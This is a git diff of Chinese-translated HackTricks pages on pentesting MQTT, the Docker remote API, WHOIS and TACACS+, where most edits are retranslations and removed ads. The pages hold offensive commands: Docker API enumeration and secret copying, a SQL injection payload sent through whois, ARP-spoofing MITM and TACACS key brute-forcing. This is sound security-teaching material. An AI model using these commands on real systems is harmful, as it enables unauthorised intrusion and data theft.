|
||||
* PUBREC (5):消息传递协议的一部分,确保消息已被接收。
|
||||
* PUBREL (6):进一步确保消息传递,指示消息释放。
|
||||
* PUBCOMP (7):消息传递协议的最后部分,指示完成。
|
||||
* SUBSCRIBE (8):客户端请求监听来自某个主题的消息。
|
||||
* SUBACK (9):服务器对SUBSCRIBE请求的确认。
|
||||
* UNSUBSCRIBE (10):客户端请求停止接收来自某个主题的消息。
|
||||
* UNSUBACK (11):服务器对UNSUBSCRIBE请求的响应。
|
||||
* PINGREQ (12):客户端发送的心跳消息。
|
||||
* PINGRESP (13):服务器对心跳消息的响应。
|
||||
* DISCONNECT (14):由客户端发起以终止连接。
|
||||
* 两个值,0和15,被标记为保留,禁止使用。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,47 +1,34 @@
|
|||
# 2375, 2376 Pentesting Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker 基础
|
||||
|
||||
#### 什么是
|
||||
|
||||
Docker 是 **容器化行业** 的 **前沿平台**,引领着 **持续创新**。它使得应用程序的创建和分发变得轻而易举,涵盖从 **传统到未来** 的应用,并确保它们在不同环境中的 **安全部署**。
|
||||
Docker 是 **容器化行业**的 **前沿平台**,引领着 **持续创新**。它使得应用程序的创建和分发变得轻而易举,涵盖从 **传统到未来** 的应用,并确保它们在不同环境中的 **安全部署**。
|
||||
|
||||
#### 基本 Docker 架构
|
||||
#### 基本的 Docker 架构
|
||||
|
||||
* [**containerd**](http://containerd.io):这是一个 **核心运行时**,负责容器的全面 **生命周期管理**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 将在后续探讨。
|
||||
* **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 初始化后的工作。
|
||||
* [**runc**](http://runc.io):因其 **轻量级和通用的容器运行时** 能力而受到推崇,runc 符合 **OCI 标准**。它被 containerd 用于根据 **OCI 指南** **启动和管理容器**,并从最初的 **libcontainer** 发展而来。
|
||||
* [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效交互**。
|
||||
* [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着关键作用,最新的 Docker 版本符合 **OCI 镜像和运行时** 标准。
|
||||
* [**containerd**](http://containerd.io): 这是一个 **核心运行时**,负责 **管理容器的生命周期**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解**将在 **后续探讨**。
|
||||
* **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 在容器初始化后的工作。
|
||||
* [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名,runc 符合 **OCI 标准**。它被 containerd 用于 **根据 OCI 指南启动和管理容器**,并从最初的 **libcontainer** 发展而来。
|
||||
* [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效的交互**。
|
||||
* [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用,最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
|
||||
|
||||
#### 基本命令
|
||||
```bash
|
||||
|
@ -70,7 +57,7 @@ docker system prune -a
|
|||
|
||||
**Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用,**简化在各种操作系统上执行容器** 的过程,包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
|
||||
|
||||
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有软件定义网络 (SDN) 和服务发现等复杂性,这些复杂性在不同平台之间差异显著。因此,Containerd 将网络方面的管理留给它所支持的平台。
|
||||
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有如软件定义网络 (SDN) 和服务发现等复杂性,这些复杂性在不同平台之间差异显著。因此,Containerd 将网络方面的管理留给它所支持的平台。
|
||||
|
||||
虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言,Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
|
||||
```bash
|
||||
|
@ -103,7 +90,7 @@ Podman 旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种
|
|||
Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
|
||||
|
||||
{% hint style="info" %}
|
||||
注意,由于 podman 旨在支持与 docker 相同的 API,您可以使用与 docker 相同的命令来使用 podman,例如:
|
||||
请注意,由于 podman 旨在支持与 docker 相同的 API,您可以使用与 docker 相同的命令来使用 podman,例如:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
@ -114,7 +101,7 @@ podman ls
|
|||
|
||||
### 基本信息
|
||||
|
||||
默认情况下,当启用时,远程 API 在 2375 端口上运行。该服务默认不需要身份验证,这使得攻击者能够启动特权 docker 容器。通过使用远程 API,可以将主机 /(根目录)附加到容器,并读取/写入主机环境的文件。
|
||||
默认情况下,当启用时,远程 API 在 2375 端口上运行。该服务默认不需要身份验证,这使得攻击者能够启动一个特权的 docker 容器。通过使用远程 API,可以将主机 /(根目录)附加到容器,并读取/写入主机环境的文件。
|
||||
|
||||
**默认端口:** 2375
|
||||
```
|
||||
|
@ -125,7 +112,7 @@ PORT STATE SERVICE
|
|||
|
||||
#### Manual
|
||||
|
||||
请注意,为了枚举 docker API,您可以使用 `docker` 命令或 `curl`,如以下示例所示:
|
||||
注意,为了枚举 docker API,您可以使用 `docker` 命令或 `curl`,如以下示例所示:
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
|
@ -250,9 +237,9 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Securing Docker installation and usage
|
||||
|
||||
* 您可以使用工具 [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) 来检查您当前的 Docker 安装。
|
||||
* 您可以使用工具 [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) 来检查您当前的 docker 安装。
|
||||
* `./docker-bench-security.sh`
|
||||
* 您可以使用工具 [https://github.com/kost/dockscan](https://github.com/kost/dockscan) 来检查您当前的 Docker 安装。
|
||||
* 您可以使用工具 [https://github.com/kost/dockscan](https://github.com/kost/dockscan) 来检查您当前的 docker 安装。
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* 您可以使用工具 [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) 来检查容器在不同安全选项下的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
|
@ -261,7 +248,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Securing Docker Images
|
||||
|
||||
* 您可以使用 [https://github.com/quay/clair](https://github.com/quay/clair) 的 Docker 镜像来扫描您的其他 Docker 镜像并查找漏洞。
|
||||
* 您可以使用 [https://github.com/quay/clair](https://github.com/quay/clair) 的 docker 镜像来扫描您的其他 docker 镜像并查找漏洞。
|
||||
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
|
@ -290,7 +277,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
#### Logging Suspicious activity
|
||||
|
||||
* 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**。
|
||||
* 请注意以下部分中 **Falco 编译内核模块并插入它**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
|
||||
* 请注意以下部分 **Falco 编译内核模块并插入**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
@ -340,28 +327,17 @@ falco-probe found and loaded in dkms
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**WHOIS** 协议作为一种标准方法,用于 **查询各种互联网资源的注册人或持有者**,通过特定的数据库。这些资源包括域名、IP地址块和自治系统等。除此之外,该协议还可用于访问更广泛的信息。
|
||||
**WHOIS** 协议作为一种标准方法,通过特定数据库**查询各种互联网资源的注册人或持有者**。这些资源包括域名、IP地址块和自治系统等。除此之外,该协议还可用于访问更广泛的信息。
|
||||
|
||||
**默认端口:** 43
|
||||
```
|
||||
|
@ -39,22 +31,16 @@ PORT STATE SERVICE
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
注意,有时在向WHOIS服务请求某些信息时,所使用的数据库会出现在响应中:
|
||||
注意,有时在请求WHOIS服务的某些信息时,所使用的数据库会出现在响应中:
|
||||
|
||||
![](<../.gitbook/assets/image (301).png>)
|
||||
|
||||
此外,WHOIS服务始终需要使用一个**数据库**来存储和提取信息。因此,在**查询**用户提供的某些信息时,可能会存在**SQLInjection**。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`,您可能能够**提取所有**存储在数据库中的**信息**。
|
||||
此外,WHOIS服务始终需要使用一个**数据库**来存储和提取信息。因此,在**查询**用户提供的某些信息时,可能会存在**SQL注入**的风险。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`,您可能能够**提取所有**存储在数据库中的**信息**。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
@ -76,8 +62,8 @@ Description: Grab WHOIS Banner
|
|||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -85,7 +71,7 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**终端访问控制器访问控制系统 (TACACS)** 协议用于集中验证试图访问路由器或网络接入服务器 (NAS) 的用户。其升级版本 **TACACS+** 将服务分为身份验证、授权和计费 (AAA)。
|
||||
|
@ -34,19 +26,19 @@ PORT STATE SERVICE
|
|||
|
||||
## 拦截认证密钥
|
||||
|
||||
如果客户端与TACACS服务器的通信被攻击者拦截,**加密的认证密钥可以被拦截**。攻击者可以尝试对密钥进行**本地暴力破解攻击,而不会在日志中被检测到**。如果成功破解密钥,攻击者将获得对网络设备的访问权限,并可以使用Wireshark等工具解密流量。
|
||||
如果客户端与 TACACS 服务器的通信被攻击者拦截,**加密的认证密钥可以被拦截**。攻击者可以尝试对密钥进行**本地暴力破解攻击,而不会在日志中被检测到**。如果成功破解密钥,攻击者将获得对网络设备的访问权限,并可以使用 Wireshark 等工具解密流量。
|
||||
|
||||
### 执行中间人攻击
|
||||
|
||||
可以利用**ARP欺骗攻击来执行中间人(MitM)攻击**。
|
||||
**可以利用 ARP 欺骗攻击来执行中间人 (MitM) 攻击**。
|
||||
|
||||
### 暴力破解密钥
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)可以用来暴力破解密钥:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) 可以用来暴力破解密钥:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
如果密钥成功**暴力破解**(**通常为MD5加密格式**),**我们可以访问设备并解密TACACS加密的流量。**
|
||||
如果密钥成功**暴力破解**(**通常是MD5加密格式**),**我们可以访问设备并解密TACACS加密的流量。**
|
||||
|
||||
### 解密流量
|
||||
一旦密钥成功破解,下一步是**解密TACACS加密的流量**。如果提供密钥,Wireshark可以处理加密的TACACS流量。通过分析解密后的流量,可以获取诸如**使用的横幅和管理员用户的用户名**等信息。
|
||||
|
@ -57,23 +49,18 @@ sudo loki_gtk.py
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**Telegram小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
